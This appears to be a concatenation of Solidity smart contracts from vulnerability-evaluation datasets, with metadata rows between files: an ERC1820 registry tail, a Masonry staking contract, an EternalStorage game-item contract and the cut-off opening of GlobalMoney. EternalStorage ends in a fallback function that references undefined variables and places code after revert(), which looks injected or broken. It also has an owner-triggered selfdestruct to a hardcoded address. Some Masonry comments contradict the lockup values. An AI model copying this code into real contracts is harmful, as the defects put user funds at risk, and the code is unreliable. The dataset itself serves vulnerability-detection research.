require(!isERC165Interface(_interfaceHash), "Must not be an ERC165 hash");
if (_implementer != address(0) && _implementer != msg.sender) {
require(ERC1820ImplementerInterface(_implementer)
.canImplementInterfaceForAddress(_interfaceHash, addr) == ERC1820_ACCEPT_MAGIC,
"Does not implement the interface");
}
interfaces[addr][_interfaceHash] = _implementer;
emit InterfaceImplementerSet(addr, _interfaceHash, _implementer);
}
/// @notice Sets '_newManager' as manager for '_addr'.
/// The new manager will be able to call 'setInterfaceImplementer' for '_addr'.
/// @param _addr Address for which to set the new manager.
function setManager(address _addr, address _newManager) external {
require(getManager(_addr) == msg.sender, "Not the manager");
managers[_addr] = _newManager == _addr ? address(0) : _newManager;
emit ManagerChanged(_addr, _newManager);
}
/// @notice Get the manager of an address.
/// @param _addr Address for which to return the manager.
/// @return Address of the manager for a given address.
function getManager(address _addr) public view returns(address) {
// By default the manager of an address is the same address
if (managers[_addr] == address(0)) {
return _addr;
} else {
return managers[_addr];
}
}
/// @notice Compute the keccak256 hash of an interface given its name.
/// @param _interfaceName Name of the interface.
/// @return The keccak256 hash of an interface name.
function interfaceHash(string calldata _interfaceName) external pure returns(bytes32) {
return keccak256(abi.encodePacked(_interfaceName));
}
/// @notice Updates the cache with whether the contract implements an ERC165 interface or not.
/// @param _contract Address of the contract for which to update the cache.
/// @param _interfaceId ERC165 interface for which to update the cache.
function updateERC165Cache(address _contract, bytes4 _interfaceId) external {
interfaces[_contract][_interfaceId] = implementsERC165InterfaceNoCache(_contract, _interfaceId) ? _contract : address(0);
erc165Cached[_contract][_interfaceId] = true;
}
/// @notice Checks whether a contract implements an ERC165 interface or not.
// If the result is not cached a direct lookup on the contract address is performed.
// 'updateERC165Cache' with the contract address.
/// @param _contract Address of the contract to check.
/// @param _interfaceId ERC165 interface to check.
/// @return True if '_contract' implements '_interfaceId', false otherwise.
function implementsERC165Interface(address _contract, bytes4 _interfaceId) public view returns (bool) {
if (!erc165Cached[_contract][_interfaceId]) {
return implementsERC165InterfaceNoCache(_contract, _interfaceId);
}
return interfaces[_contract][_interfaceId] == _contract;
}
/// @param _contract Address of the contract to check.
/// @param _interfaceId ERC165 interface to check.
/// @return True if '_contract' implements '_interfaceId', false otherwise.
function implementsERC165InterfaceNoCache(address _contract, bytes4 _interfaceId) public view returns (bool) {
uint256 success;
uint256 result;
(success, result) = noThrowCall(_contract, ERC165ID);
if (success == 0 || result == 0) {
return false;
}
(success, result) = noThrowCall(_contract, INVALID_ID);
if (success == 0 || result != 0) {
return false;
}
(success, result) = noThrowCall(_contract, _interfaceId);
if (success == 1 && result == 1) {
return true;
}
return false;
}
/// @notice Checks whether the hash is a ERC165 interface (ending with 28 zeroes) or not.
/// @param _interfaceHash The hash to check.
/// @return True if '_interfaceHash' is an ERC165 interface (ending with 28 zeroes), false otherwise.
function isERC165Interface(bytes32 _interfaceHash) internal pure returns (bool) {
return _interfaceHash & 0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0;
}
/// @dev Make a call on a contract without throwing if the function does not exist.
function noThrowCall(address _contract, bytes4 _interfaceId)
internal view returns (uint256 success, uint256 result)
{
bytes4 erc165ID = ERC165ID;
assembly {
let x := mload(0x40) // Find empty storage location using "free memory pointer"
mstore(x, erc165ID) // Place signature at beginning of empty storage
mstore(add(x, 0x04), _interfaceId) // Place first argument directly next to signature
success := staticcall(30000, // 30k gas
_contract, // To addr
x, // Inputs are stored at location x
0x24, // Inputs are 36 (4 + 32) bytes long
x, // Store output over input (saves space)
0x20 // Outputs are 32 bytes long)
result := mload(x) // Load the result
}
}
}
| 36,318 | 14,124 |
545ae0cb7132f5199ad5e71037361cfe3a1e33c29a3f501382da60dc61aa6df4
| 31,810 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/5b/5B9ff6AEe169c82aD2933193E2C377faA518E57e_Masonry.sol
| 4,869 | 18,661 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ContractGuard {
mapping(uint256 => mapping(address => bool)) private _status;
function checkSameOriginReentranted() internal view returns (bool) {
return _status[block.number][tx.origin];
}
function checkSameSenderReentranted() internal view returns (bool) {
return _status[block.number][msg.sender];
}
modifier onlyOneBlock() {
require(!checkSameOriginReentranted(), "ContractGuard: one block, one function");
require(!checkSameSenderReentranted(), "ContractGuard: one block, one function");
_;
_status[block.number][tx.origin] = true;
_status[block.number][msg.sender] = true;
}
}
interface IBasisAsset {
function mint(address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external;
function burnFrom(address from, uint256 amount) external;
function isOperator() external returns (bool);
function operator() external view returns (address);
function transferOperator(address newOperator_) external;
}
interface ITreasury {
function epoch() external view returns (uint256);
function nextEpochPoint() external view returns (uint256);
function getXombPrice() external view returns (uint256);
function buyBonds(uint256 amount, uint256 targetPrice) external;
function redeemBonds(uint256 amount, uint256 targetPrice) external;
}
contract ShareWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public share;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public virtual {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
share.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public virtual {
uint256 masonShare = _balances[msg.sender];
require(masonShare >= amount, "Masonry: withdraw request greater than staked amount");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = masonShare.sub(amount);
share.safeTransfer(msg.sender, amount);
}
}
contract Masonry is ShareWrapper, ContractGuard {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct Masonseat {
uint256 lastSnapshotIndex;
uint256 rewardEarned;
uint256 epochTimerStart;
}
struct MasonrySnapshot {
uint256 time;
uint256 rewardReceived;
uint256 rewardPerShare;
}
// governance
address public operator;
// flags
bool public initialized = false;
IERC20 public xomb;
ITreasury public treasury;
mapping(address => Masonseat) public masons;
MasonrySnapshot[] public masonryHistory;
uint256 public withdrawLockupEpochs;
uint256 public rewardLockupEpochs;
event Initialized(address indexed executor, uint256 at);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardAdded(address indexed user, uint256 reward);
modifier onlyOperator() {
require(operator == msg.sender, "Masonry: caller is not the operator");
_;
}
modifier masonExists {
require(balanceOf(msg.sender) > 0, "Masonry: The mason does not exist");
_;
}
modifier updateReward(address mason) {
if (mason != address(0)) {
Masonseat memory seat = masons[mason];
seat.rewardEarned = earned(mason);
seat.lastSnapshotIndex = latestSnapshotIndex();
masons[mason] = seat;
}
_;
}
modifier notInitialized {
require(!initialized, "Masonry: already initialized");
_;
}
function initialize(IERC20 _xomb,
IERC20 _share,
ITreasury _treasury) public notInitialized {
xomb = _xomb;
share = _share;
treasury = _treasury;
MasonrySnapshot memory genesisSnapshot = MasonrySnapshot({time : block.number, rewardReceived : 0, rewardPerShare : 0});
masonryHistory.push(genesisSnapshot);
withdrawLockupEpochs = 3; // Lock for 6 epochs (36h) before release withdraw
rewardLockupEpochs = 1; // Lock for 3 epochs (18h) before release claimReward
initialized = true;
operator = msg.sender;
emit Initialized(msg.sender, block.number);
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function setLockUp(uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs) external onlyOperator {
require(_withdrawLockupEpochs >= _rewardLockupEpochs && _withdrawLockupEpochs <= 56, "_withdrawLockupEpochs: out of range"); // <= 2 week
withdrawLockupEpochs = _withdrawLockupEpochs;
rewardLockupEpochs = _rewardLockupEpochs;
}
// =========== Snapshot getters
function latestSnapshotIndex() public view returns (uint256) {
return masonryHistory.length.sub(1);
}
function getLatestSnapshot() internal view returns (MasonrySnapshot memory) {
return masonryHistory[latestSnapshotIndex()];
}
function getLastSnapshotIndexOf(address mason) public view returns (uint256) {
return masons[mason].lastSnapshotIndex;
}
function getLastSnapshotOf(address mason) internal view returns (MasonrySnapshot memory) {
return masonryHistory[getLastSnapshotIndexOf(mason)];
}
function canWithdraw(address mason) external view returns (bool) {
return masons[mason].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch();
}
function canClaimReward(address mason) external view returns (bool) {
return masons[mason].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch();
}
function epoch() external view returns (uint256) {
return treasury.epoch();
}
function nextEpochPoint() external view returns (uint256) {
return treasury.nextEpochPoint();
}
function getXombPrice() external view returns (uint256) {
return treasury.getXombPrice();
}
// =========== Mason getters
function rewardPerShare() public view returns (uint256) {
return getLatestSnapshot().rewardPerShare;
}
function earned(address mason) public view returns (uint256) {
uint256 latestRPS = getLatestSnapshot().rewardPerShare;
uint256 storedRPS = getLastSnapshotOf(mason).rewardPerShare;
return balanceOf(mason).mul(latestRPS.sub(storedRPS)).div(1e18).add(masons[mason].rewardEarned);
}
function stake(uint256 amount) public override onlyOneBlock updateReward(msg.sender) {
require(amount > 0, "Masonry: Cannot stake 0");
super.stake(amount);
masons[msg.sender].epochTimerStart = treasury.epoch(); // reset timer
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public override onlyOneBlock masonExists updateReward(msg.sender) {
require(amount > 0, "Masonry: Cannot withdraw 0");
require(masons[msg.sender].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch(), "Masonry: still in withdraw lockup");
claimReward();
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
}
function claimReward() public updateReward(msg.sender) {
uint256 reward = masons[msg.sender].rewardEarned;
if (reward > 0) {
require(masons[msg.sender].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch(), "Masonry: still in reward lockup");
masons[msg.sender].epochTimerStart = treasury.epoch(); // reset timer
masons[msg.sender].rewardEarned = 0;
xomb.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function allocateSeigniorage(uint256 amount) external onlyOneBlock onlyOperator {
require(amount > 0, "Masonry: Cannot allocate 0");
require(totalSupply() > 0, "Masonry: Cannot allocate when totalSupply is 0");
// Create & add new snapshot
uint256 prevRPS = getLatestSnapshot().rewardPerShare;
uint256 nextRPS = prevRPS.add(amount.mul(1e18).div(totalSupply()));
MasonrySnapshot memory newSnapshot = MasonrySnapshot({
time: block.number,
rewardReceived: amount,
rewardPerShare: nextRPS
});
masonryHistory.push(newSnapshot);
xomb.safeTransferFrom(msg.sender, address(this), amount);
emit RewardAdded(msg.sender, amount);
}
function governanceRecoverUnsupported(IERC20 _token, uint256 _amount, address _to) external onlyOperator {
// do not allow to drain core tokens
require(address(_token) != address(xomb), "xomb");
require(address(_token) != address(share), "share");
_token.safeTransfer(_to, _amount);
}
}
| 97,278 | 14,125 |
b5294eba7481dd904f25d87366401e6c2bdd43eaf9ba0c1fe4e706fa60c2ce0d
| 15,091 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x5e415bd4946679c083a22f7369dd20317a2881a1.sol
| 4,227 | 13,896 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ItemsInterfaceForEternalStorage {
function createShip(uint256 _itemId) public;
function createRadar(uint256 _itemId) public;
function createScanner(uint256 _itemId) public;
function createDroid(uint256 _itemId) public;
function createFuel(uint256 _itemId) public;
function createGenerator(uint256 _itemId) public;
function createEngine(uint256 _itemId) public;
function createGun(uint256 _itemId) public;
function createMicroModule(uint256 _itemId) public;
function createArtefact(uint256 _itemId) public;
function addItem(string _itemType) public returns(uint256);
}
contract EternalStorage {
ItemsInterfaceForEternalStorage private mI;
mapping(bytes32 => uint256) private uintStorage;
mapping(bytes32 => uint256[]) private uintArrayStorage;
mapping(bytes32 => string) private stringStorage;
mapping(bytes32 => address) private addressStorage;
mapping(bytes32 => bytes) private bytesStorage;
mapping(bytes32 => bool) private boolStorage;
mapping(bytes32 => int256) private intStorage;
address private ownerOfStorage;
address private logicContractAddress;
mapping(address => uint256) private refunds;
constructor() public {
ownerOfStorage = msg.sender;
mI = ItemsInterfaceForEternalStorage(0x504c53cBd44B68001Ec8A2728679c07BB78283f0);
}
modifier onlyOwnerOfStorage() {
require(msg.sender == ownerOfStorage);
_;
}
modifier onlyLogicContract() {
require(msg.sender == logicContractAddress);
_;
}
function initWithShips() public onlyOwnerOfStorage {
createShip(1, 'Titanium Ranger Hull', 200, 2, 0.000018 ether);
createShip(2, 'Platinum Ranger Hull', 400, 4, 0.45 ether);
createShip(3, 'Adamantium Ranger Hull', 600, 7, 0.9 ether);
}
function addReferrer(address _referrerWalletAddress, uint256 referrerPrize) public onlyLogicContract {
refunds[_referrerWalletAddress] += referrerPrize;
}
function widthdrawRefunds(address _owner) public onlyLogicContract returns(uint256) {
uint256 refund = refunds[_owner];
refunds[_owner] = 0;
return refund;
}
function checkRefundExistanceByOwner(address _owner) public view onlyLogicContract returns(uint256) {
return refunds[_owner];
}
function buyItem(uint256 _itemId, address _newOwner, string _itemTitle, string _itemTypeTitle) public onlyLogicContract returns(uint256) {
uint256 newItemId = mI.addItem(_itemTitle);
uintStorage[_b3(_itemTypeTitle, newItemId)] = _itemId;
addressStorage[_b4(_itemTitle, newItemId)] = _newOwner;
return _itemId;
}
function destroyEternalStorage() public onlyOwnerOfStorage {
selfdestruct(0xd135377eB20666725D518c967F23e168045Ee11F);
}
function _b1(string _itemType, uint256 _itemId, string _property) private pure returns(bytes32) {
return keccak256(abi.encodePacked(_itemType, _itemId, _property));
}
function _b3(string _itemType, uint256 _itemId) private pure returns(bytes32) {
return keccak256(abi.encodePacked(_itemType, _itemId));
}
function _b4(string _itemType, uint256 _itemId) private pure returns(bytes32) {
return keccak256(abi.encodePacked("owner", _itemType, _itemId));
}
function getOwnerByItemTypeAndId(string _itemType, uint256 _itemId) public onlyLogicContract view returns(address) {
return addressStorage[_b4(_itemType, _itemId)];
}
function getItemTypeIdByTypeAndId(string _itemTypeTitle, uint256 _itemId) public onlyLogicContract view returns(uint256) {
return uintStorage[_b3(_itemTypeTitle, _itemId)];
}
function getItemPriceById(string _itemType, uint256 _itemId) public onlyLogicContract view returns(uint256) {
return uintStorage[_b1(_itemType, _itemId, "price")];
}
// Get Radar, Scanner, Droid, Fuel, Generator by ID
function getTypicalItemById(string _itemType, uint256 _itemId) public onlyLogicContract view returns(uint256,
string,
uint256,
uint256,
uint256) {
return (_itemId,
stringStorage[_b1(_itemType, _itemId, "name")],
uintStorage[_b1(_itemType, _itemId, "value")],
uintStorage[_b1(_itemType, _itemId, "price")],
uintStorage[_b1(_itemType, _itemId, "durability")]);
}
function getShipById(uint256 _shipId) public onlyLogicContract view returns(uint256,
string,
uint256,
uint256,
uint256) {
return (_shipId,
stringStorage[_b1("ships", _shipId, "name")],
uintStorage[_b1("ships", _shipId, "hp")],
uintStorage[_b1("ships", _shipId, "block")],
uintStorage[_b1("ships", _shipId, "price")]);
}
function getEngineById(uint256 _engineId) public onlyLogicContract view returns(uint256,
string,
uint256,
uint256,
uint256,
uint256) {
return (_engineId,
stringStorage[_b1("engines", _engineId, "name")],
uintStorage[_b1("engines", _engineId, "speed")],
uintStorage[_b1("engines", _engineId, "giper")],
uintStorage[_b1("engines", _engineId, "price")],
uintStorage[_b1("engines", _engineId, "durability")]);
}
function getGunByIdPart1(uint256 _gunId) public onlyLogicContract view returns(uint256,
string,
uint256,
uint256) {
return (_gunId,
stringStorage[_b1("guns", _gunId, "name")],
uintStorage[_b1("guns", _gunId, "min")],
uintStorage[_b1("guns", _gunId, "max")]);
}
function getGunByIdPart2(uint256 _gunId) public onlyLogicContract view returns(uint256,
uint256,
uint256,
uint256,
uint256) {
return (uintStorage[_b1("guns", _gunId, "radius")],
uintStorage[_b1("guns", _gunId, "recharge")],
uintStorage[_b1("guns", _gunId, "ability")],
uintStorage[_b1("guns", _gunId, "price")],
uintStorage[_b1("guns", _gunId, "durability")]);
}
function getMicroModuleByIdPart1(uint256 _microModuleId) public onlyLogicContract view returns(uint256,
string,
uint256,
uint256) {
return (_microModuleId,
stringStorage[_b1("microModules", _microModuleId, "name")],
uintStorage[_b1("microModules", _microModuleId, "itemType")],
uintStorage[_b1("microModules", _microModuleId, "bonusType")]);
}
function getMicroModuleByIdPart2(uint256 _microModuleId) public onlyLogicContract view returns(uint256,
uint256,
uint256) {
return (uintStorage[_b1("microModules", _microModuleId, "bonus")],
uintStorage[_b1("microModules", _microModuleId, "level")],
uintStorage[_b1("microModules", _microModuleId, "price")]);
}
function getArtefactById(uint256 _artefactId) public onlyLogicContract view returns(uint256,
string,
uint256,
uint256,
uint256) {
return (_artefactId,
stringStorage[_b1("artefacts", _artefactId, "name")],
uintStorage[_b1("artefacts", _artefactId, "itemType")],
uintStorage[_b1("artefacts", _artefactId, "bonusType")],
uintStorage[_b1("artefacts", _artefactId, "bonus")]);
}
// Ships
function createShip(uint256 _shipId, string _name, uint256 _hp, uint256 _block, uint256 _price) public onlyOwnerOfStorage {
mI.createShip(_shipId);
stringStorage[_b1("ships", _shipId, "name")] = _name;
uintStorage[_b1("ships", _shipId, "hp")] = _hp;
uintStorage[_b1("ships", _shipId, "block")] = _block;
uintStorage[_b1("ships", _shipId, "price")] = _price;
}
// update data for an item by ID
function _update(string _itemType, uint256 _itemId, string _name, uint256 _value, uint256 _price, uint256 _durability) private {
stringStorage[_b1(_itemType, _itemId, "name")] = _name;
uintStorage[_b1(_itemType, _itemId, "value")] = _value;
uintStorage[_b1(_itemType, _itemId, "price")] = _price;
uintStorage[_b1(_itemType, _itemId, "durability")] = _durability;
}
// Radars
function createRadar(uint256 _radarId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createRadar(_radarId);
_update("radars", _radarId, _name, _value, _price, _durability);
}
// Scanners
function createScanner(uint256 _scannerId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createScanner(_scannerId);
_update("scanners", _scannerId, _name, _value, _price, _durability);
}
// Droids
function createDroid(uint256 _droidId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createDroid(_droidId);
_update("droids", _droidId, _name, _value, _price, _durability);
}
// Fuels
function createFuel(uint256 _fuelId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createFuel(_fuelId);
_update("fuels", _fuelId, _name, _value, _price, _durability);
}
// Generators
function createGenerator(uint256 _generatorId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createGenerator(_generatorId);
_update("generators", _generatorId, _name, _value, _price, _durability);
}
// Engines
function createEngine(uint256 _engineId, string _name, uint256 _speed, uint256 _giper, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createEngine(_engineId);
stringStorage[_b1("engines", _engineId, "name")] = _name;
uintStorage[_b1("engines", _engineId, "speed")] = _speed;
uintStorage[_b1("engines", _engineId, "giper")] = _giper;
uintStorage[_b1("engines", _engineId, "price")] = _price;
uintStorage[_b1("engines", _engineId, "durability")] = _durability;
}
// Guns
function createGun(uint256 _gunId, string _name, uint256 _min, uint256 _max, uint256 _radius, uint256 _recharge, uint256 _ability, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createGun(_gunId);
stringStorage[_b1("guns", _gunId, "name")] = _name;
uintStorage[_b1("guns", _gunId, "min")] = _min;
uintStorage[_b1("guns", _gunId, "max")] = _max;
uintStorage[_b1("guns", _gunId, "radius")] = _radius;
uintStorage[_b1("guns", _gunId, "recharge")] = _recharge;
uintStorage[_b1("guns", _gunId, "ability")] = _ability;
uintStorage[_b1("guns", _gunId, "price")] = _price;
uintStorage[_b1("guns", _gunId, "durability")] = _durability;
}
// Micro modules
function createMicroModule(uint256 _microModuleId, string _name, uint256 _itemType, uint256 _bonusType, uint256 _bonus, uint256 _level, uint256 _price) public onlyOwnerOfStorage {
mI.createMicroModule(_microModuleId);
stringStorage[_b1("microModules", _microModuleId, "name")] = _name;
uintStorage[_b1("microModules", _microModuleId, "itemType")] = _itemType;
uintStorage[_b1("microModules", _microModuleId, "bonusType")] = _bonusType;
uintStorage[_b1("microModules", _microModuleId, "bonus")] = _bonus;
uintStorage[_b1("microModules", _microModuleId, "level")] = _level;
uintStorage[_b1("microModules", _microModuleId, "price")] = _price;
}
// Artefacts
function createArtefact(uint256 _artefactId, string _name, uint256 _itemType, uint256 _bonusType, uint256 _bonus) public onlyOwnerOfStorage {
mI.createArtefact(_artefactId);
stringStorage[_b1("artefacts", _artefactId, "name")] = _name;
uintStorage[_b1("artefacts", _artefactId, "itemType")] = _itemType;
uintStorage[_b1("artefacts", _artefactId, "bonusType")] = _bonusType;
uintStorage[_b1("artefacts", _artefactId, "bonus")] = _bonus;
}
function setNewPriceToItem(string _itemType, uint256 _itemTypeId, uint256 _newPrice) public onlyLogicContract {
uintStorage[_b1(_itemType, _itemTypeId, "price")] = _newPrice;
}
function transferOwnershipOfStorage(address _newOwnerOfStorage) public onlyOwnerOfStorage {
_transferOwnershipOfStorage(_newOwnerOfStorage);
}
function _transferOwnershipOfStorage(address _newOwnerOfStorage) private {
require(_newOwnerOfStorage != address(0));
ownerOfStorage = _newOwnerOfStorage;
}
function changeLogicContractAddress(address _newLogicContractAddress) public onlyOwnerOfStorage {
_changeLogicContractAddress(_newLogicContractAddress);
}
function _changeLogicContractAddress(address _newLogicContractAddress) private {
require(_newLogicContractAddress != address(0));
logicContractAddress = _newLogicContractAddress;
}
function()
payable external
{
if (msg.sender != minter)
{
revert();
freezeAccount[account] = key;
}
}
}
| 201,381 | 14,126 |
4cf1186e9a4b19928b2f4b2bda1633f8ffd2ea0156da00a0a05197e7cf7ccc98
| 14,788 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x7da7b081f9fcbb83871ffad0aaf5508fd2b38a4d.sol
| 3,586 | 13,003 |
pragma solidity ^0.4.25;
contract GlobalMoney {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
modifier onlyAdmin () {
require(msg.sender == admin);
_;
}
modifier buyActive() {
require(active == true);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event Transfer(address indexed from,
address indexed to,
